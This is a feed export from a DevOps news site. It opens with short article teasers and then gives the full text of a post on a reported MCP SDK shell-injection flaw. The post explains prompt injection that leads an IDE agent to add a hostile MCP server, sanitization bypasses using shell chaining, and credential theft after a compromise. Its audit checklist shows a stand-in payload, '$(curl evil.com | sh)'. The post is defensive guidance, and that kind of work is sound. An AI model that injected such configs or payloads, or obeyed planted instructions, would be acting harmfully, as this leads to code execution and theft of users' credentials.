          data-heading-id="h3-how-to-find-and-unlock-the-data-hidden-within-videos"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Video is everywhere in today’s world, and more video content is being pumped out than ever before. It is estimated The post How to find and unlock the data hidden within videos appeared first on The N</p>
<p><strong>📅 Apr 26, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/build-video-search-vespa/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-static-code-analysis-helps-reduce-software-bugs-and-money-spent" class="group relative scroll-mt-24">
        <a href="#h3-how-static-code-analysis-helps-reduce-software-bugs-and-money-spent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Static Code Analysis Helps Reduce Software Bugs, and Money Spent!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-static-code-analysis-helps-reduce-software-bugs-and-money-spent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dealing with bugs is a natural part of software development. But it can also be among the most costly, especially when they don’t get discovered until later in the development lifecycle. The daunting </p>
<p><strong>📅 Apr 26, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/qodana/2026/04/reduce-software-bugs-and-money-spent/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-contact-enrichment-belongs-in-your-application-architecture-not-your-sales-workflow" class="group relative scroll-mt-24">
        <a href="#h3-why-contact-enrichment-belongs-in-your-application-architecture-not-your-sales-workflow" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why Contact Enrichment Belongs in Your Application Architecture, Not Your Sales Workflow
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-contact-enrichment-belongs-in-your-application-architecture-not-your-sales-workflow"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most B2B applications collect incomplete data by design. A lead form captures a name and company. A recruiting tool surfaces a LinkedIn profile. An event registration system logs an email address and </p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/why-contact-enrichment-belongs-in-your-application-architecture-not-your-sales-workflow/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claudes-code-quality-conundrum-continues" class="group relative scroll-mt-24">
        <a href="#h3-claudes-code-quality-conundrum-continues" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude’s Code Quality Conundrum Continues
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claudes-code-quality-conundrum-continues"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic admits to a month-long degradation in Claude&#39;s output due to reasoning &quot;effort&quot; tradeoffs, cache bugs, and verbosity prompts. As Opus 4.7 rolls out with mixed developer reviews, the company </p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/claudes-code-quality-conundrum-continues/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-confidential-guest-reset-on-qemu-hypervisor-design-choices-and-approach" class="group relative scroll-mt-24">
        <a href="#h3-confidential-guest-reset-on-qemu-hypervisor-design-choices-and-approach" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Confidential guest reset on QEMU hypervisor: Design choices and approach
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-confidential-guest-reset-on-qemu-hypervisor-design-choices-and-approach"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Looking at the release notes or changelogs for QEMU upstream, you might notice that there&#39;s something new in version 11.0:SEV-SNP and TDX machines can now be reset.This is a feature we at Red Hat help</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/confidential-guest-reset-qemu-hypervisor-design-choices-and-approach"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-susecon-2026-wrap-up-choice-happened-in-prague" class="group relative scroll-mt-24">
        <a href="#h3-susecon-2026-wrap-up-choice-happened-in-prague" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SUSECON 2026 Wrap-Up: Choice Happened in Prague
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-susecon-2026-wrap-up-choice-happened-in-prague"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What a week in Prague! This city has a way of making big ideas feel possible, and SUSECON 2026 met that energy from the very first keynote. As I sit here catching my breath (and catching up on my slee</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/susecon-2026-wrap-up-choice-happened-in-prague/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-intellij-idea-202611-is-out" class="group relative scroll-mt-24">
        <a href="#h3-intellij-idea-202611-is-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 IntelliJ IDEA 2026.1.1 Is Out!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-intellij-idea-202611-is-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>IntelliJ IDEA 2026.1.1 has arrived with several valuable fixes. You can update to this version from inside the IDE, using the Toolbox App, or using snaps if you are a Ubuntu user. You can also downloa</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/idea/2026/04/intellij-idea-2026-1-1/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[The MCP Design Flaw That Exposes 150M Downloads to RCE]]></title>
      <link>https://devops-daily.com/posts/mcp-design-flaw-rce-supply-chain-risk</link>
      <description><![CDATA[Researchers at OX Security disclosed an architectural vulnerability in Anthropic MCP that enables remote code execution across Python, TypeScript, Java, and Rust SDKs. Anthropic calls it "by design." Here is how the flaw works, which tools are affected, and what to do if you use Cursor, Claude Code, LangChain, or anything with an MCP server.]]></description>
      <pubDate>Mon, 20 Apr 2026 15:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/mcp-design-flaw-rce-supply-chain-risk</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[security]]></category><category><![CDATA[mcp]]></category><category><![CDATA[anthropic]]></category><category><![CDATA[supply-chain]]></category><category><![CDATA[rce]]></category><category><![CDATA[ai-security]]></category><category><![CDATA[devops]]></category>
      <content:encoded><![CDATA[<p>On April 15, 2026, researchers at <a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/">OX Security</a> published an advisory describing what they call a &quot;critical, systemic vulnerability&quot; in the design of Anthropic&#39;s Model Context Protocol. The short version: the way MCP servers are launched means an attacker who can influence an MCP configuration can run arbitrary shell commands on the host. The flaw is architectural, not a specific bug, and Anthropic has declined to change the protocol.</p>
<p>The cascading impact is large. MCP is the plumbing under Claude Code, Cursor, VS Code&#39;s Claude extension, Windsurf, Gemini CLI, LiteLLM, LangChain, IBM&#39;s LangFlow, and dozens of smaller AI tools. OX estimates <strong>150 million+ downloads</strong>, <strong>7,000+ publicly exposed MCP servers</strong>, and up to <strong>200,000 vulnerable instances</strong> in total.</p>
<p>If you run any AI-assisted IDE or build on one of these frameworks, you are potentially in the blast radius. Here is what happened, how the flaw works, how to tell if you are exposed, and what to do.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>Disclosed</td>
<td>April 15, 2026</td>
</tr>
<tr>
<td>Researchers</td>
<td><a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/">OX Security</a> (Moshe Siman Tov Bustan, Mustafa Naamnih, Nir Zadok, Roni Bar)</td>
</tr>
<tr>
<td>Affected</td>
<td>Anthropic MCP SDKs in Python, TypeScript, Java, Rust</td>
</tr>
<tr>
<td>Root cause</td>
<td>User-controlled input reaches <code>StdioServerParameters</code> without sanitization, enabling shell injection at server spawn</td>
</tr>
<tr>
<td>Attacker capability</td>
<td>Remote code execution on the host running the MCP client or server</td>
</tr>
<tr>
<td>Scale</td>
<td>150M+ downloads, 7,000+ public servers, up to 200,000 vulnerable instances</td>
</tr>
<tr>
<td>Notable CVEs</td>
<td>CVE-2026-30623 (LiteLLM), CVE-2026-30615 (Windsurf), CVE-2025-65720 (GPT Researcher), plus 7 more</td>
</tr>
<tr>
<td>Affected downstreams</td>
<td>LiteLLM, LangChain, LangFlow, Cursor, VS Code, Windsurf, Claude Code, Gemini CLI, Flowise</td>
</tr>
<tr>
<td>Anthropic&#39;s response</td>
<td>Behavior is &quot;by design&quot;; sanitization is &quot;the developer&#39;s responsibility&quot;</td>
</tr>
</tbody></table>
<p>Source: <a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/">OX Security advisory</a>, with downstream reporting from <a href="https://www.techradar.com/pro/security/this-is-not-a-traditional-coding-error-experts-flag-potentially-critical-security-issues-at-the-heart-of-anthropics-mcp-exposes-150-million-downloads-and-thousands-of-servers-to-complete-takeover">TechRadar</a> and <a href="https://thehackernews.com/">The Hacker News</a>.</p>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>MCP (Model Context Protocol) is Anthropic&#39;s open protocol for connecting LLMs to tools, data sources, and IDEs. An MCP client (like Claude Code or Cursor) spawns MCP servers, and those servers expose tools the model can call. A single IDE typically runs half a dozen of these servers at once: one for filesystem access, one for git, one for database queries, and so on.</p>
<p>The most common way clients spawn servers is the <strong>STDIO transport</strong>. The client reads a config that specifies a command to run (for example, <code>python -m my_mcp_server</code>) and launches it as a subprocess. Inputs go in over stdin, responses come back over stdout. Simple, fast, and the default in every official SDK.</p>
<p>The flaw lives in that spawn step.</p>
<p>In Anthropic&#39;s Python, TypeScript, Java, and Rust SDKs, the code path that builds <code>StdioServerParameters</code> takes user-configurable values (the command, the arguments, the environment) and passes them straight to a shell invocation with no sanitization. The trust model assumes the config is written by the end user and therefore trusted. In practice, that config travels through:</p>
<ul>
<li>Markdown files in a project (<code>.cursor/rules</code>, <code>CLAUDE.md</code>, <code>mcp.json</code>)</li>
<li>Web UIs in AI platforms (Flowise, LangFlow, LiteLLM admin)</li>
<li>Model output (if the agent is allowed to edit its own MCP config)</li>
<li>Package registries (MCP server marketplaces that are starting to appear)</li>
<li>Other MCP servers (servers can recommend other servers)</li>
</ul>
<p>Any one of those paths can smuggle a malicious command into the config, and the SDK will run it. That&#39;s the entire vulnerability. No CVE on a specific line of code. It is a design choice.</p>
<blockquote>
<p>&quot;This is not a traditional coding error.&quot;<br>OX Security researchers, <a href="https://www.techradar.com/pro/security/this-is-not-a-traditional-coding-error-experts-flag-potentially-critical-security-issues-at-the-heart-of-anthropics-mcp-exposes-150-million-downloads-and-thousands-of-servers-to-complete-takeover">via TechRadar</a></p>
</blockquote>
<h2 id="h2-the-four-attack-families" class="group relative scroll-mt-24">
        <a href="#h2-the-four-attack-families" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Four Attack Families
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-four-attack-families"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>OX grouped practical exploits into four families. Most real-world attacks use some combination.</p>
<h3 id="h3-1-unauthenticated-ui-injection" class="group relative scroll-mt-24">
        <a href="#h3-1-unauthenticated-ui-injection" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Unauthenticated UI injection
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-unauthenticated-ui-injection"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Many AI frameworks (LangFlow, Flowise, LiteLLM admin) ship a web UI that lets operators add MCP servers. When those UIs are exposed to the public internet without authentication, which is depressingly common, an attacker submits a malicious server config and triggers RCE on the host.</p>
<p>This is how the 7,000+ publicly exposed MCP servers get owned. Scan Shodan, find an unauthenticated LangFlow, paste in a config that shells out.</p>
<h3 id="h3-2-hardening-bypasses" class="group relative scroll-mt-24">
        <a href="#h3-2-hardening-bypasses" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Hardening bypasses
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-hardening-bypasses"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Some frameworks try to sanitize MCP configs. The researchers demonstrated bypasses against Flowise&#39;s hardening by chaining allowed-but-unexpected syntax (shell expansions, redirection, multi-command sequences via <code>;</code> or <code>&amp;&amp;</code>).</p>
<p>Hardening that tries to allow-list &quot;safe&quot; commands tends to fail against the full surface area of POSIX shell grammar.</p>
<h3 id="h3-3-zero-click-prompt-injection-in-ides" class="group relative scroll-mt-24">
        <a href="#h3-3-zero-click-prompt-injection-in-ides" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Zero-click prompt injection in IDEs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-zero-click-prompt-injection-in-ides"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the scariest category. An attacker plants malicious text in a document, repo, or tool output that the IDE&#39;s agent will read. The agent dutifully ingests the text, the text contains instructions like &quot;add this MCP server to your config,&quot; and the IDE adds it.</p>
<p>The user didn&#39;t click anything. The agent did it. Then the IDE restarts the MCP server, and the command runs.</p>
<p>CVE-2026-30615 covers exactly this chain against Windsurf. Similar issues have been shown in Cursor, VS Code&#39;s Claude extension, Claude Code, and Gemini CLI.</p>
<h3 id="h3-4-malicious-marketplace-distribution" class="group relative scroll-mt-24">
        <a href="#h3-4-malicious-marketplace-distribution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Malicious marketplace distribution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-malicious-marketplace-distribution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>MCP server registries are starting to appear. Anthropic&#39;s <a href="https://mcp.so">mcp.so</a> and various community marketplaces list installable servers. A malicious author publishes a &quot;PostgreSQL tools&quot; MCP server. You install it. The install-time shell command runs. Game over.</p>
<p>This is the same pattern as the <a href="/posts/axios-supply-chain-attack-what-happened-and-what-to-do">axios supply chain attack</a> from a few weeks ago. The difference: MCP registries have almost no review process right now.</p>
<h2 id="h2-what-an-attacker-gets" class="group relative scroll-mt-24">
        <a href="#h2-what-an-attacker-gets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What an Attacker Gets
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-an-attacker-gets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A successful exploit gives the attacker shell access as the user running the MCP client. In practice that means:</p>
<ul>
<li>Read/write access to every file the user can see, including SSH keys, cloud credentials (<code>~/.aws</code>, <code>~/.config/gcloud</code>), npm tokens, and git configs</li>
<li>Every environment variable in the MCP process, which on developer machines usually includes live API keys</li>
<li>Full access to the local git repo, including the ability to modify commits and push them</li>
<li>Ability to install further persistence (cron jobs, shell RC files, LaunchAgents)</li>
<li>Access to any cloud resources reachable through the user&#39;s credentials</li>
</ul>
<p>On a developer laptop with credentials for production, this is a complete compromise.</p>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you use any of these, yes, probably:</p>
<ul>
<li><strong>Claude Code</strong></li>
<li><strong>Cursor</strong></li>
<li><strong>VS Code</strong> with the Claude or MCP extensions</li>
<li><strong>Windsurf</strong></li>
<li><strong>Gemini CLI</strong> (uses the MCP protocol for tools)</li>
<li><strong>LangChain</strong> with MCP integration</li>
<li><strong>LangFlow</strong> or <strong>Flowise</strong> (especially if exposed publicly)</li>
<li><strong>LiteLLM</strong> admin UI</li>
<li>Any homebrew tooling that imports the official MCP SDK</li>
</ul>
<h3 id="h3-check-for-public-exposure" class="group relative scroll-mt-24">
        <a href="#h3-check-for-public-exposure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check for public exposure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-for-public-exposure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you run MCP servers on a public host, make sure they are not on the internet:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># If you manage a LangFlow / Flowise / LiteLLM instance:</span>
<span class="hljs-comment"># 1. Check firewall rules, no public inbound on its port</span>
<span class="hljs-comment"># 2. Force HTTP Basic or OIDC auth before any config endpoint</span>
<span class="hljs-comment"># 3. If this is a dev/lab instance, take it off the public net today</span>
</code></pre><p>You can find your own exposure by scanning for the common MCP admin paths:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># From inside your network, confirm these are NOT publicly reachable:</span>
curl -sI https://your-host/api/v1/mcp/servers    <span class="hljs-comment"># LiteLLM</span>
curl -sI https://your-host/api/mcp                <span class="hljs-comment"># LangFlow-ish</span>
curl -sI https://your-host/mcp                    <span class="hljs-comment"># Flowise-ish</span>
</code></pre><h3 id="h3-audit-your-ide-mcp-config" class="group relative scroll-mt-24">
        <a href="#h3-audit-your-ide-mcp-config" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Audit your IDE MCP config
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-audit-your-ide-mcp-config"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In your IDE:</p>
<ol>
<li>Open the MCP settings (Cursor: Settings → MCP, VS Code: command palette → &quot;MCP: List Servers&quot;, Claude Code: <code>~/.config/claude-code/config.json</code> or <code>~/.claude/mcp.json</code>)</li>
<li>Read the command and args for every server</li>
<li>Remove any you don&#39;t recognize</li>
<li>For the ones you do recognize, verify the path is what you expect and not a clever substitution like <code>$(curl evil.com | sh)</code></li>
</ol>
<h3 id="h3-check-for-unexpected-additions" class="group relative scroll-mt-24">
